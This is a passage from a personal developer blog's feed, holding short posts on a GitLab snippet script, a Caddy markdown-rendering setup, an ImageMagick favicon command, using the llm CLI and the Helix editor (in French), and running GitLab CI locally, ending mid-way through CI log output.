&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;gitlab&lt;span class="w"&gt; &lt;/span&gt;snippet&lt;span class="w"&gt; &lt;/span&gt;create&lt;span class="w"&gt; &lt;/span&gt;--title&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$title&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--file-name&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$title&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--content&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$content&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--visibility&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$visibility&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="nv"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/id: / { print $2 }&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://gitlab.com/-/snippets/&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I can now do &lt;code&gt;snip README.md&lt;/code&gt; and that will create the snippet for me&amp;nbsp;:-)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Creating an online space to share markdown files</title><link href="https://blog.notmyidea.org/creating-an-online-space-to-share-markdown-files.html" rel="alternate"></link><published>2023-09-17T00:00:00+02:00</published><updated>2023-09-17T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-17:/creating-an-online-space-to-share-markdown-files.html</id><summary type="html">
&lt;p&gt;I wanted to create a space on my server where I can upload markdown files and have them rendered directly, for them to be shared with other&amp;nbsp;people.&lt;/p&gt;
&lt;p&gt;I stumbled on &lt;a href="https://github.com/ukarim/ngx_markdown_filter_module"&gt;the markdown module for nginx&lt;/a&gt; which does exactly what I want, but seemed to ask for compilation of nginx …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;I wanted to create a space on my server where I can upload markdown files and have them rendered directly, for them to be shared with other&amp;nbsp;people.&lt;/p&gt;
&lt;p&gt;I stumbled on &lt;a href="https://github.com/ukarim/ngx_markdown_filter_module"&gt;the markdown module for nginx&lt;/a&gt; which does exactly what I want, but seemed to ask for compilation of nginx, which wasn&amp;#8217;t exactly what I wanted in terms of maintainability (it would make it complicated to update&amp;nbsp;it)&lt;/p&gt;
&lt;p&gt;I then thought that the &lt;a href="https://caddyserver.com/"&gt;Caddy&lt;/a&gt; server does that by default, and so I&amp;#8217;ve tested it out. Turns out it&amp;#8217;s not, but it offers ways to do this thanks to its template&amp;nbsp;mecanism.&lt;/p&gt;
&lt;p&gt;It also, &lt;a href="https://caddyserver.com/docs/automatic-https"&gt;setups automatically and transparently &lt;span class="caps"&gt;SSL&lt;/span&gt; certificates&lt;/a&gt; for you (using Let&amp;#8217;s Encrypt!), so I wanted to have a&amp;nbsp;look.&lt;/p&gt;
&lt;p&gt;Here is the Caddy configuration file I&amp;#8217;m now using&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;md.notmyidea.org {
        root &lt;span class="gs"&gt;* /home/caddy/md.notmyidea.org&lt;/span&gt;
&lt;span class="gs"&gt;        rewrite *&lt;/span&gt; /index.html
        file_server
        templates
        encode zstd gzip

}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And the&amp;nbsp;template:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{{$pathParts := splitList &amp;quot;/&amp;quot; .OriginalReq.URL.Path}}
{{$markdownFilename := default &amp;quot;index&amp;quot; (slice $pathParts 1 | join &amp;quot;/&amp;quot;)}}

{{if not (fileExists $markdownFilename)}}
    {{httpError 404}}
{{end}}

{{$markdownFile := (include $markdownFilename | splitFrontMatter)}}
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;{{ $markdownFilename }}&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        {{ markdown $markdownFile.Body }}
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is a minimalistic version, but it works&amp;nbsp;:-)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Conversion d’un fichier svg en favicon.ico</title><link href="https://blog.notmyidea.org/conversion-dun-fichier-svg-en-faviconico.html" rel="alternate"></link><published>2023-09-13T00:00:00+02:00</published><updated>2023-09-13T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-13:/conversion-dun-fichier-svg-en-faviconico.html</id><summary type="html">
&lt;p&gt;Il y a plusieurs sites qui permettent de faire ça automatiquement, mais j&amp;#8217;aime bien faire les choses depuis mon terminal, voici donc une commande qui permet de faire ça simplement, en utilisant &lt;a href="https://imagemagick.org/"&gt;ImageMagick&lt;/a&gt;. Merci à &lt;a href="https://gist.github.com/azam/3b6995a29b9f079282f3"&gt;ce&amp;nbsp;gist&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert&lt;span class="w"&gt; &lt;/span&gt;-density&lt;span class="w"&gt; &lt;/span&gt;256x256&lt;span class="w"&gt; &lt;/span&gt;-background&lt;span class="w"&gt; &lt;/span&gt;transparent&lt;span class="w"&gt; &lt;/span&gt;favicon.svg&lt;span class="w"&gt; &lt;/span&gt;-define&lt;span class="w"&gt; &lt;/span&gt;icon:auto-resize&lt;span class="w"&gt; &lt;/span&gt;-colors&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;256 …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">
&lt;p&gt;Il y a plusieurs sites qui permettent de faire ça automatiquement, mais j&amp;#8217;aime bien faire les choses depuis mon terminal, voici donc une commande qui permet de faire ça simplement, en utilisant &lt;a href="https://imagemagick.org/"&gt;ImageMagick&lt;/a&gt;. Merci à &lt;a href="https://gist.github.com/azam/3b6995a29b9f079282f3"&gt;ce&amp;nbsp;gist&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert&lt;span class="w"&gt; &lt;/span&gt;-density&lt;span class="w"&gt; &lt;/span&gt;256x256&lt;span class="w"&gt; &lt;/span&gt;-background&lt;span class="w"&gt; &lt;/span&gt;transparent&lt;span class="w"&gt; &lt;/span&gt;favicon.svg&lt;span class="w"&gt; &lt;/span&gt;-define&lt;span class="w"&gt; &lt;/span&gt;icon:auto-resize&lt;span class="w"&gt; &lt;/span&gt;-colors&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;favicon.ico
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category></entry><entry><title>Découverte de nouveaux outils pour le développement: LLM, Helix et plus</title><link href="https://blog.notmyidea.org/decouverte-de-nouveaux-outils-pour-le-developpement-llm-helix-et-plus.html" rel="alternate"></link><published>2023-09-12T00:00:00+02:00</published><updated>2023-09-12T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-12:/decouverte-de-nouveaux-outils-pour-le-developpement-llm-helix-et-plus.html</id><summary type="html">
&lt;h2 id="llm"&gt;&lt;span class="caps"&gt;LLM&lt;/span&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://localai.io/model-compatibility/"&gt;LocalAI&lt;/a&gt; permet de faire tourner des modèles en local avec la même &lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;HTTP&lt;/span&gt; que celle&amp;nbsp;d&amp;#8217;OpenAI&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bofenghuang/vigogne"&gt;Le modèle Vigogne&lt;/a&gt; est un modèle entrainé (&lt;em&gt;fine-tuned&lt;/em&gt;) avec des données en Français. Notamment &lt;a href="https://huggingface.co/bofenghuang/vigogne-2-7b-chat/tree/v1.0"&gt;ce modèle&lt;/a&gt;qui prends &lt;span class="caps"&gt;LLAMA2&lt;/span&gt; en&amp;nbsp;entrée.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://python.langchain.com/docs/get_started/introduction.html"&gt;LangChain&lt;/a&gt; semble être un framework pour travailler avec les différents …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">
&lt;h2 id="llm"&gt;&lt;span class="caps"&gt;LLM&lt;/span&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://localai.io/model-compatibility/"&gt;LocalAI&lt;/a&gt; permet de faire tourner des modèles en local avec la même &lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;HTTP&lt;/span&gt; que celle&amp;nbsp;d&amp;#8217;OpenAI&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bofenghuang/vigogne"&gt;Le modèle Vigogne&lt;/a&gt; est un modèle entrainé (&lt;em&gt;fine-tuned&lt;/em&gt;) avec des données en Français. Notamment &lt;a href="https://huggingface.co/bofenghuang/vigogne-2-7b-chat/tree/v1.0"&gt;ce modèle&lt;/a&gt;qui prends &lt;span class="caps"&gt;LLAMA2&lt;/span&gt; en&amp;nbsp;entrée.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://python.langchain.com/docs/get_started/introduction.html"&gt;LangChain&lt;/a&gt; semble être un framework pour travailler avec les différents concepts utiles. A&amp;nbsp;voir.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour la première fois, j&amp;#8217;ai commencé à utiliser un peu plus l&amp;#8217;outil &lt;a href="https://llm.datasette.io"&gt;llm&lt;/a&gt; pour m&amp;#8217;aider dans les tâches de&amp;nbsp;programmation. &lt;/p&gt;
&lt;p&gt;!! warning
J&amp;#8217;utilise actuellement par défaut le modèle en ligne d&amp;#8217;OpenAI &amp;#8220;&lt;span class="caps"&gt;GTP4&lt;/span&gt;&amp;#8221;, à travers leur &lt;span class="caps"&gt;API&lt;/span&gt;. Cela me pose des problèmes éthiques, mais mon approche est pour le moment de voir le type de résultats que j&amp;#8217;obtiens pour ensuite comparer avec des modèles locaux type &lt;span class="caps"&gt;LLAMA2&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Deux choses que j&amp;#8217;ai trouvées utiles&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;diff&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;write me a commit message&amp;quot;&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;diff&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;find a branch name&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Qui peuvent faciliter la vie plutôt que de chercher à décrire des choses manuellement (le &amp;#8220;branch-name&amp;#8221;, je le trouve particulièrement&amp;nbsp;utile)&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai aussi trouvé l&amp;#8217;idée intéressante d&amp;#8217;automatiser l&amp;#8217;écrite de tests, avec pytest. Bien sur ça ne fait pas tout, mais ça donne un template de départ qui est intéressant&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat&lt;span class="w"&gt; &lt;/span&gt;code/test_file.py&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;write tests for this, using pytest&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;J&amp;#8217;ai par exemple demandé à llm de me lister 20 titres pour cet article&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat&lt;span class="w"&gt; &lt;/span&gt;~/dev/til.notmyidea.org/content/&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="w"&gt; &lt;/span&gt;+%F&lt;span class="k"&gt;)&lt;/span&gt;.md&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Liste moi 20 titres pour cet article. Quelque chose de simple&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;1&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Découverte de nouveaux outils pour le développement: LLM, Helix et plus&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;2&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Explorer les modèles LLM pour la génération de code&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;3&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;L&amp;#39;amélioration du développement grâce à LLM et Helix&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;4&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Introduction à l&amp;#39;éditeur Helix et à LLM&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;5&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Boostez votre productivité de développement avec LLM et Helix&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;6&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Comment j&amp;#39;intègre LLM et Helix dans mon flux de travail de développement&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;7&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Les avantages de l&amp;#39;utilisation de LLM pour la programmation&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;8&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Approches innovantes pour le développement de code avec LLM&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;9&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;L&amp;#39;avenir du développement de code avec LLM et Helix&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;10&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Optimisation des tâches de programmation avec LLM&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;11&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Ouvrir de nouvelles possibilités de codage avec LLM et Helix&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;12&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Utiliser des modèles LLM pour améliorer la qualité du code&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="helix"&gt;Helix&lt;/h2&gt;
&lt;p&gt;Je me mets à tester un peu plus l&amp;#8217;éditeur Helix. Je suis un habitué de Vim pour toutes les petites modifications que je fais depuis mon terminal, et Helix semble&amp;nbsp;intéressant.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt;pour sélectionner une ligne (&lt;code&gt;xd&lt;/code&gt; pour sélectionner et&amp;nbsp;supprimer)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ma&lt;/code&gt; pour sélectionner &amp;#8220;around&amp;#8221; quelque chose. &lt;code&gt;maw&lt;/code&gt; pour sélectionner le&amp;nbsp;mot&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c&lt;/code&gt; pour effacer la sélection et passer en mode&amp;nbsp;insertion.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="divers"&gt;Divers&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;J’ai fait confiance, j’ai appris.
— &lt;a href="https://d%C3%A9tour.studio"&gt;Thomas&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;#8217;aime beaucoup ce que ça dit. Faire confiance est peut-être nécessaire, même si on est déçu au final, on aura au moins appris. Ça me&amp;nbsp;touche.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Running the Gitlab CI locally</title><link href="https://blog.notmyidea.org/running-the-gitlab-ci-locally.html" rel="alternate"></link><published>2023-08-19T00:00:00+02:00</published><updated>2023-08-19T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-08-19:/running-the-gitlab-ci-locally.html</id><summary type="html">
&lt;p&gt;Sometimes, I need to change how the continuous integration is setup, and I find
myself pushing to a branch to test if my changes are working. Oftentimes, it
takes me multiple commits to find the correct configuration, which is…&amp;nbsp;suboptimal.&lt;/p&gt;
&lt;p&gt;I discovered today &lt;a href="https://github.com/firecow/gitlab-ci-local"&gt;Gitlab &lt;span class="caps"&gt;CI&lt;/span&gt;
local&lt;/a&gt; which makes it possible …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Sometimes, I need to change how the continuous integration is setup, and I find
myself pushing to a branch to test if my changes are working. Oftentimes, it
takes me multiple commits to find the correct configuration, which is…&amp;nbsp;suboptimal.&lt;/p&gt;
&lt;p&gt;I discovered today &lt;a href="https://github.com/firecow/gitlab-ci-local"&gt;Gitlab &lt;span class="caps"&gt;CI&lt;/span&gt;
local&lt;/a&gt; which makes it possible to
run the &lt;span class="caps"&gt;CI&lt;/span&gt; actions locally, without having to push to the remote &lt;span class="caps"&gt;CI&lt;/span&gt;. The same
thing exists for &lt;a href="https://github.com/nektos/act"&gt;Microsoft Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Under the hood, it&amp;#8217;s using Docker, so you need to have it running on your
system, but once it&amp;#8217;s done, you just have to issue a simple command to see the
results. Very helpful&amp;nbsp;:-)&lt;/p&gt;
&lt;p&gt;Here is an example&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;gitlab-ci-local&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;
parsing&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;downloads&lt;span class="w"&gt; &lt;/span&gt;finished&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;41&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ms
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;starting&lt;span class="w"&gt; &lt;/span&gt;python:3.8-alpine&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;copied&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;volumes&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.05&lt;span class="w"&gt; &lt;/span&gt;s
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;apk&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apk&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;libsass&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;musl-dev&lt;span class="w"&gt; &lt;/span&gt;g++
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;fetch&lt;span class="w"&gt; &lt;/span&gt;https://dl-cdn.alpinelinux.org/alpine/v3.18/main/aarch64/APKINDEX.tar.gz
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;fetch&lt;span class="w"&gt; &lt;/span&gt;https://dl-cdn.alpinelinux.org/alpine/v3.18/community/aarch64/APKINDEX.tar.gz
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;v3.18.3-55-g2ee93b9273a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;https://dl-cdn.alpinelinux.org/alpine/v3.18/main&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;v3.18.3-56-g4a3b0382caa&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;https://dl-cdn.alpinelinux.org/alpine/v3.18/community&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;OK:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19939&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;distinct&lt;span class="w"&gt; &lt;/span&gt;packages&lt;span class="w"&gt; &lt;/span&gt;available
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libgcc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libstdc++&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libstdc++-dev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;zstd-libs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.5.5-r4&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;binutils&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.40-r7&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;/17&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Installing&lt;span class="w"&gt; &lt;/span&gt;libgomp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.2.1_git20220924-r10&lt;span class="o"&gt;)&lt;/span&gt;
